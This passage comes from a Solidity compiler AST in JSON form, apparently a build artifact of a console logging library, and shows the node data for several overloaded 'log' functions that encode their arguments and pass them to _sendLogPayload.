:{"typeIdentifier":"t_stringliteral_78ad7a0c8cf57ba0e3b9e892fd6558ba40a5d4c84ef5c8c5e36bfc8d7f23b0c5","typeString":"literal_string \"log(uint,uint,uint,string)\""},"value":"log(uint,uint,uint,string)"},{"id":17886,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17873,"src":"19141:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17887,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17875,"src":"19145:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17888,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17877,"src":"19149:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17889,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17879,"src":"19153:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_78ad7a0c8cf57ba0e3b9e892fd6558ba40a5d4c84ef5c8c5e36bfc8d7f23b0c5","typeString":"literal_string \"log(uint,uint,uint,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":17883,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"19087:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17884,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"19091:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"19087:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17890,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19087:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17882,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"19071:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17891,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19071:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17892,"nodeType":"ExpressionStatement","src":"19071:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"18998:3:14","parameters":{"id":17880,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17873,"mutability":"mutable","name":"p0","nameLocation":"19007:2:14","nodeType":"VariableDeclaration","scope":17894,"src":"19002:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17872,"name":"uint","nodeType":"ElementaryTypeName","src":"19002:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17875,"mutability":"mutable","name":"p1","nameLocation":"19016:2:14","nodeType":"VariableDeclaration","scope":17894,"src":"19011:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17874,"name":"uint","nodeType":"ElementaryTypeName","src":"19011:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17877,"mutability":"mutable","name":"p2","nameLocation":"19025:2:14","nodeType":"VariableDeclaration","scope":17894,"src":"19020:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17876,"name":"uint","nodeType":"ElementaryTypeName","src":"19020:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17879,"mutability":"mutable","name":"p3","nameLocation":"19043:2:14","nodeType":"VariableDeclaration","scope":17894,"src":"19029:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17878,"name":"string","nodeType":"ElementaryTypeName","src":"19029:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"19001:45:14"},"returnParameters":{"id":17881,"nodeType":"ParameterList","parameters":[],"src":"19061:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17917,"nodeType":"FunctionDefinition","src":"19170:164:14","nodes":[],"body":{"id":17916,"nodeType":"Block","src":"19233:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c75696e742c626f6f6c29","id":17908,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19283:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_6452b9cbdf8b8479d7ee301237b2d6dfa173fc92538628ab30d643fb4351918f","typeString":"literal_string \"log(uint,uint,uint,bool)\""},"value":"log(uint,uint,uint,bool)"},{"id":17909,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17896,"src":"19311:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17910,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17898,"src":"19315:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17911,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17900,"src":"19319:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17912,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17902,"src":"19323:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6452b9cbdf8b8479d7ee301237b2d6dfa173fc92538628ab30d643fb4351918f","typeString":"literal_string \"log(uint,uint,uint,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":17906,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"19259:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17907,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"19263:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"19259:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17913,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19259:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17905,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"19243:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17914,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19243:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17915,"nodeType":"ExpressionStatement","src":"19243:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"19179:3:14","parameters":{"id":17903,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17896,"mutability":"mutable","name":"p0","nameLocation":"19188:2:14","nodeType":"VariableDeclaration","scope":17917,"src":"19183:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17895,"name":"uint","nodeType":"ElementaryTypeName","src":"19183:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17898,"mutability":"mutable","name":"p1","nameLocation":"19197:2:14","nodeType":"VariableDeclaration","scope":17917,"src":"19192:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17897,"name":"uint","nodeType":"ElementaryTypeName","src":"19192:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17900,"mutability":"mutable","name":"p2","nameLocation":"19206:2:14","nodeType":"VariableDeclaration","scope":17917,"src":"19201:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17899,"name":"uint","nodeType":"ElementaryTypeName","src":"19201:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17902,"mutability":"mutable","name":"p3","nameLocation":"19215:2:14","nodeType":"VariableDeclaration","scope":17917,"src":"19210:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17901,"name":"bool","nodeType":"ElementaryTypeName","src":"19210:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"19182:36:14"},"returnParameters":{"id":17904,"nodeType":"ParameterList","parameters":[],"src":"19233:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17940,"nodeType":"FunctionDefinition","src":"19340:170:14","nodes":[],"body":{"id":17939,"nodeType":"Block","src":"19406:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c75696e742c6164647265737329","id":17931,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19456:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e0853f69a5584c9e0aa87ddae9bd870cf5164166d612d334644e66176c1213ba","typeString":"literal_string \"log(uint,uint,uint,address)\""},"value":"log(uint,uint,uint,address)"},{"id":17932,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17919,"src":"19487:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17933,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17921,"src":"19491:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17934,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17923,"src":"19495:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17935,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17925,"src":"19499:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e0853f69a5584c9e0aa87ddae9bd870cf5164166d612d334644e66176c1213ba","typeString":"literal_string \"log(uint,uint,uint,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":17929,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"19432:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17930,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"19436:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"19432:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17936,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19432:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17928,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"19416:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17937,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19416:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17938,"nodeType":"ExpressionStatement","src":"19416:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"19349:3:14","parameters":{"id":17926,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17919,"mutability":"mutable","name":"p0","nameLocation":"19358:2:14","nodeType":"VariableDeclaration","scope":17940,"src":"19353:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17918,"name":"uint","nodeType":"ElementaryTypeName","src":"19353:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17921,"mutability":"mutable","name":"p1","nameLocation":"19367:2:14","nodeType":"VariableDeclaration","scope":17940,"src":"19362:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17920,"name":"uint","nodeType":"ElementaryTypeName","src":"19362:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17923,"mutability":"mutable","name":"p2","nameLocation":"19376:2:14","nodeType":"VariableDeclaration","scope":17940,"src":"19371:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17922,"name":"uint","nodeType":"ElementaryTypeName","src":"19371:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17925,"mutability":"mutable","name":"p3","nameLocation":"19388:2:14","nodeType":"VariableDeclaration","scope":17940,"src":"19380:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17924,"name":"address","nodeType":"ElementaryTypeName","src":"19380:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"19352:39:14"},"returnParameters":{"id":17927,"nodeType":"ParameterList","parameters":[],"src":"19406:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17963,"nodeType":"FunctionDefinition","src":"19516:175:14","nodes":[],"body":{"id":17962,"nodeType":"Block","src":"19588:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c737472696e672c75696e7429","id":17954,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19638:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_3894163d4e8f3eec101fb8e2c1029563bd05d05ee1d1790a46910ebbbdc3072e","typeString":"literal_string \"log(uint,uint,string,uint)\""},"value":"log(uint,uint,string,uint)"},{"id":17955,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17942,"src":"19668:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17956,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17944,"src":"19672:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17957,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17946,"src":"19676:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17958,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17948,"src":"19680:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3894163d4e8f3eec101fb8e2c1029563bd05d05ee1d1790a46910ebbbdc3072e","typeString":"literal_string \"log(uint,uint,string,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":17952,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"19614:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17953,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"19618:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"19614:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17959,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19614:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17951,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"19598:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17960,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19598:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17961,"nodeType":"ExpressionStatement","src":"19598:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"19525:3:14","parameters":{"id":17949,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17942,"mutability":"mutable","name":"p0","nameLocation":"19534:2:14","nodeType":"VariableDeclaration","scope":17963,"src":"19529:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17941,"name":"uint","nodeType":"ElementaryTypeName","src":"19529:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17944,"mutability":"mutable","name":"p1","nameLocation":"19543:2:14","nodeType":"VariableDeclaration","scope":17963,"src":"19538:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17943,"name":"uint","nodeType":"ElementaryTypeName","src":"19538:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17946,"mutability":"mutable","name":"p2","nameLocation":"19561:2:14","nodeType":"VariableDeclaration","scope":17963,"src":"19547:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17945,"name":"string","nodeType":"ElementaryTypeName","src":"19547:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17948,"mutability":"mutable","name":"p3","nameLocation":"19570:2:14","nodeType":"VariableDeclaration","scope":17963,"src":"19565:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17947,"name":"uint","nodeType":"ElementaryTypeName","src":"19565:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"19528:45:14"},"returnParameters":{"id":17950,"nodeType":"ParameterList","parameters":[],"src":"19588:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17986,"nodeType":"FunctionDefinition","src":"19697:186:14","nodes":[],"body":{"id":17985,"nodeType":"Block","src":"19778:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c737472696e672c737472696e6729","id":17977,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19828:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_7c032a3207958e3d969ab52b045e7a59226129ee4b9e813f7071f9a5e80813f6","typeString":"literal_string \"log(uint,uint,string,string)\""},"value":"log(uint,uint,string,string)"},{"id":17978,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17965,"src":"19860:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17979,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17967,"src":"19864:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17980,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17969,"src":"19868:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17981,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17971,"src":"19872:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7c032a3207958e3d969ab52b045e7a59226129ee4b9e813f7071f9a5e80813f6","typeString":"literal_string \"log(uint,uint,string,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":17975,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"19804:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17976,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"19808:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"19804:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17982,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19804:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17974,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"19788:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17983,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19788:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17984,"nodeType":"ExpressionStatement","src":"19788:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"19706:3:14","parameters":{"id":17972,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17965,"mutability":"mutable","name":"p0","nameLocation":"19715:2:14","nodeType":"VariableDeclaration","scope":17986,"src":"19710:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17964,"name":"uint","nodeType":"ElementaryTypeName","src":"19710:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17967,"mutability":"mutable","name":"p1","nameLocation":"19724:2:14","nodeType":"VariableDeclaration","scope":17986,"src":"19719:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17966,"name":"uint","nodeType":"ElementaryTypeName","src":"19719:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17969,"mutability":"mutable","name":"p2","nameLocation":"19742:2:14","nodeType":"VariableDeclaration","scope":17986,"src":"19728:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17968,"name":"string","nodeType":"ElementaryTypeName","src":"19728:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17971,"mutability":"mutable","name":"p3","nameLocation":"19760:2:14","nodeType":"VariableDeclaration","scope":17986,"src":"19746:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17970,"name":"string","nodeType":"ElementaryTypeName","src":"19746:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"19709:54:14"},"returnParameters":{"id":17973,"nodeType":"ParameterList","parameters":[],"src":"19778:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18009,"nodeType":"FunctionDefinition","src":"19889:175:14","nodes":[],"body":{"id":18008,"nodeType":"Block","src":"19961:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c737472696e672c626f6f6c29","id":18000,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"20011:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_b22eaf06d72d481cf9b94b8f4d5fb89cf08bbfd924ee166a250ac94617be65b9","typeString":"literal_string \"log(uint,uint,string,bool)\""},"value":"log(uint,uint,string,bool)"},{"id":18001,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17988,"src":"20041:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18002,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17990,"src":"20045:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18003,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17992,"src":"20049:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18004,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17994,"src":"20053:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b22eaf06d72d481cf9b94b8f4d5fb89cf08bbfd924ee166a250ac94617be65b9","typeString":"literal_string \"log(uint,uint,string,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":17998,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"19987:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17999,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"19991:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"19987:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18005,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19987:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 